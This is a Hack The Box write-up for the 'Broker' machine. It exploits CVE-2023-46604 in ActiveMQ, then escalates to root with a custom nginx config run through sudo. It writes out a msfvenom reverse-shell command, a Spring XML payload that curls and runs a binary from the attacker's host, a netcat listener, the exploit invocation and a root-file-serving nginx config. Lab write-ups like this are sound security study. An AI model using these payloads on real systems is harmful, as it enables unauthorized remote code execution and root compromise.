Skip to content

Broker — HTB

IP: 10.129.230.87 OS: Ubuntu Linux Date Started: 2026-03-15

Enumeration

Nmap

Nine open ports:

22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
80/tcp    open  http       nginx 1.18.0 (Ubuntu) — proxying to ActiveMQ
1883/tcp  open  mqtt       ActiveMQ MQTT
5672/tcp  open  amqp       ActiveMQ AMQP
8161/tcp  open  http       Jetty 9.4.39.v20210325 — ActiveMQ web console
41171/tcp open  tcpwrapped (likely JMX)
61613/tcp open  stomp      Apache ActiveMQ STOMP
61614/tcp open  http       Jetty 9.4.39.v20210325 — TRACE method enabled
61616/tcp open  apachemq   ActiveMQ OpenWire transport 5.15.15
  • Both port 80 and 8161 return 401 Unauthorized with basic realm=ActiveMQRealm
  • Port 61616 reveals the critical version: ActiveMQ 5.15.15

Web — ActiveMQ Console

Navigating to http://10.129.230.87 prompted for HTTP Basic Auth.

Default creds admin:admin worked → logged into the ActiveMQ web management console.

ffuf

Directory enumeration on port 80 ran but didn't reveal anything beyond ActiveMQ's built-in paths (/admin, /api, etc.). The web console itself was the attack surface.

Rabbit Holes Explored

  • Jetty 9.4.39 vulns — Jetty is just the embedded web server ActiveMQ ships with. Its vulns are mostly low-severity and not useful for RCE.
  • TRACE method on port 61614 — only useful for XSS-via-cookie scenarios, not for getting a shell.
  • Spring4Shell scanner — not applicable here; ActiveMQ uses Spring internally but isn't a Spring Boot web app exposed to this CVE.
  • searchsploit for nginx, NiceAdmin — the login page template isn't the attack surface.

Foothold

CVE-2023-46604 — ActiveMQ OpenWire RCE

ActiveMQ 5.15.15 is vulnerable to CVE-2023-46604 — a critical deserialization vulnerability in the OpenWire protocol (port 61616). The exploit sends a crafted OpenWire message that forces ActiveMQ to fetch and execute a remote XML ClassPathXmlApplicationContext, which in turn downloads and runs an attacker-supplied binary. No authentication required.

Exploit used: SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

The chain: Exploit binary → sends OpenWire packet to port 61616 → ActiveMQ fetches poc-linux.xml from attacker HTTP server → XML instructs ActiveMQ to fetch + execute test.elf → test.elf (msfvenom reverse shell) connects back to attacker listener

Setup (3 panes needed)

Step 1 — Generate reverse shell payload:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.24 LPORT=5555 -f elf -o test.elf

Flags/Notes: - -p linux/x64/shell_reverse_tcp — payload type: when target runs this, it calls back to attacker - LHOST=10.10.14.24 — attacker tun0 IP, baked into the binary - LPORT=5555 — port the binary connects back to (must match listener) - -f elf — Linux ELF executable format - -o test.elf — filename must match what poc-linux.xml references

Step 2 — Edit poc-linux.xml:

Changed line 11 from http://0.0.0.0:8001/test.elf to http://10.10.14.24:8001/test.elf

The XML file contents:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="
   http://www.springframework.org/schema/beans
   http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>sh</value>
                <value>-c</value>
                <value>curl -s -o test.elf http://10.10.14.24:8001/test.elf; chmod +x ./test.elf; ./test.elf</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

What the XML does: Uses Spring's ClassPathXmlApplicationContext to instantiate a ProcessBuilder bean that runs sh -c to download, chmod, and execute the reverse shell binary.

Step 3 — Host files (Pane 1):

cd CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ
python3 -m http.server 8001

Step 4 — Start listener (Pane 2):

rlwrap nc -lnvp 5555

Step 5 — Fire exploit (Pane 3):

./ActiveMQ-RCE -i 10.129.230.87 -u http://10.10.14.24:8001/poc-linux.xml

Flags/Notes: - -i — target IP (ActiveMQ box) - -u — URL to attacker-hosted XML file (ActiveMQ fetches this via OpenWire deserialization)

Confirmation: Python HTTP server showed two GET requests:

10.129.230.87 - - "GET /poc-linux.xml HTTP/1.1" 200 -
10.129.230.87 - - "GET /test.elf HTTP/1.1" 200 -

Struggles / Failed Attempts

  • Initially ran exploit binary as ./ActiveMQ-RCE.exe (Windows binary) — had to use go build to compile the Go source for Linux, producing ./ActiveMQ-RCE
  • Used wrong IP (10.10.14.12 instead of 10.10.14.24) in the exploit -u flag — XML never fetched
  • Had msfvenom not installed initially — installed via Metasploit installer script
  • Started HTTP server on port 5555 (same as listener) — had to restart on 8001
  • HTTP server wasn't running from the exploit directory (files not found) — had to cd to correct dir
  • Multiple attempts with wrong IP in poc-linux.xml before getting it right
  • Key lesson: Three of the four IPs in this exploit are YOUR IP. Only -i is the target.

Shell as activemq

  • User: activemq (uid=1000, gid=1000, /home/activemq, /bin/bash)
  • Landing dir: /opt/apache-activemq-5.15.15/bin
  • Used script /dev/null -qc /bin/bash to upgrade to a proper prompt with directory info

Internal Enumeration

  • Only real user: activemq (uid 1000) — no other users with shells in /etc/passwd
  • /etc/shadow — permission denied (not readable by activemq)
  • ActiveMQ installed at /opt/apache-activemq-5.15.15/
  • Explored Jetty tmp dirs — empty JSP caches, nothing useful

User flag: 477556b6559611c2e4b62bc250f51a59

Privilege Escalation

sudo nginx — Custom Config as Root File Server

sudo -l
# (ALL : ALL) NOPASSWD: /usr/sbin/nginx

activemq can run /usr/sbin/nginx as root with no password.

How to discover the attack: nginx -h or man nginx shows -c filename flag for custom config. GTFOBins confirms the abuse path. The pattern: any service binary that accepts a config file and runs as root via sudo = you control what root does.

Failed attempts: - sudo /usr/sbin/nginx (no args) — bind() to 0.0.0.0:80 failed — port 80 already in use - sudo /usr/bin/nginx -c ... — wrong path (/usr/bin/ vs /usr/sbin/), sudo didn't match the allowed binary, demanded a password - listen 80; in custom config — same port conflict even with custom config

Working config:

cat >/tmp/yourMom.conf <<'EOF'
user root;
events {
    worker_connections 1024;
}
http {
    server {
        listen 9001;
        root /;
        autoindex on;
    }
}
EOF

What each directive does: - user root; — nginx worker runs as root (possible because sudo starts the master as root) - events { worker_connections 1024; } — required block, nginx refuses to start without it - listen 9001; — alternate port to avoid conflict with existing nginx on 80 - root /; — web root is / — entire filesystem is now browsable - autoindex on; — enables directory listing

sudo /usr/sbin/nginx -c /tmp/yourMom.conf

Flags/Notes: - -c /tmp/yourMom.conf — use custom config instead of default /etc/nginx/nginx.conf - Must use full path /usr/sbin/nginx — must match the sudo rule exactly

Then from the attacking machine:

curl http://10.129.230.87:9001/home/activemq/user.txt
# 477556b6559611c2e4b62bc250f51a59

curl http://10.129.230.87:9001/root/root.txt
# 26f13f4b9969e51d768e68cab6711039

Note: /home/root/root.txt returned 404 — root's home directory is /root/, not /home/root/.

Root flag: 26f13f4b9969e51d768e68cab6711039

Flags

  • User: 477556b6559611c2e4b62bc250f51a59
  • Root: 26f13f4b9969e51d768e68cab6711039

Lessons Learned

  • Default creds first — always try admin:admin, admin:password, etc. on known software login pages before anything else
  • Version number is king — ActiveMQ 5.15.15 was the critical finding, not Jetty or nginx. Focus on the main application, not embedded components
  • CVE-2023-46604 is a critical unauthenticated RCE in ActiveMQ < 5.18.3 via OpenWire protocol deserialization. The exploit targets port 61616, not the web console
  • Multi-stage exploits require careful IP management — this exploit has 4 IP references (3 are yours, 1 is target). Getting any one wrong breaks the chain silently
  • go build can compile Go exploits from source when the prebuilt binary is for the wrong OS
  • HTTP server must run from the directory containing the files — python3 -m http.server serves the CWD
  • script /dev/null -qc /bin/bash upgrades a dumb reverse shell to a proper bash prompt with directory info
  • GTFOBins is the reflex after sudo -l — search every binary that appears. nginx -h / man nginx reveals -c flag for custom config
  • Pattern: sudo + service binary + custom config = root — applies to nginx, apache2, and any service that takes a config file
  • sudo path must match exactly — sudo /usr/bin/nginx ≠ sudo /usr/sbin/nginx. If the sudo rule says /usr/sbin/nginx, you must use that exact path or sudo won't match and will demand a password
  • Port conflicts are solved by picking a different port — don't try to fight a running service for its port, just use 9001 or any other free port
  • /root/ is NOT /home/root/ — root's home directory is /root/ at the filesystem root, not under /home/
  • nginx config requires events {} block — even if empty, nginx won't start without it
  • dav_methods PUT can also be used in nginx configs to enable file writes (e.g., writing SSH keys to /root/.ssh/authorized_keys) — alternative to read-only approach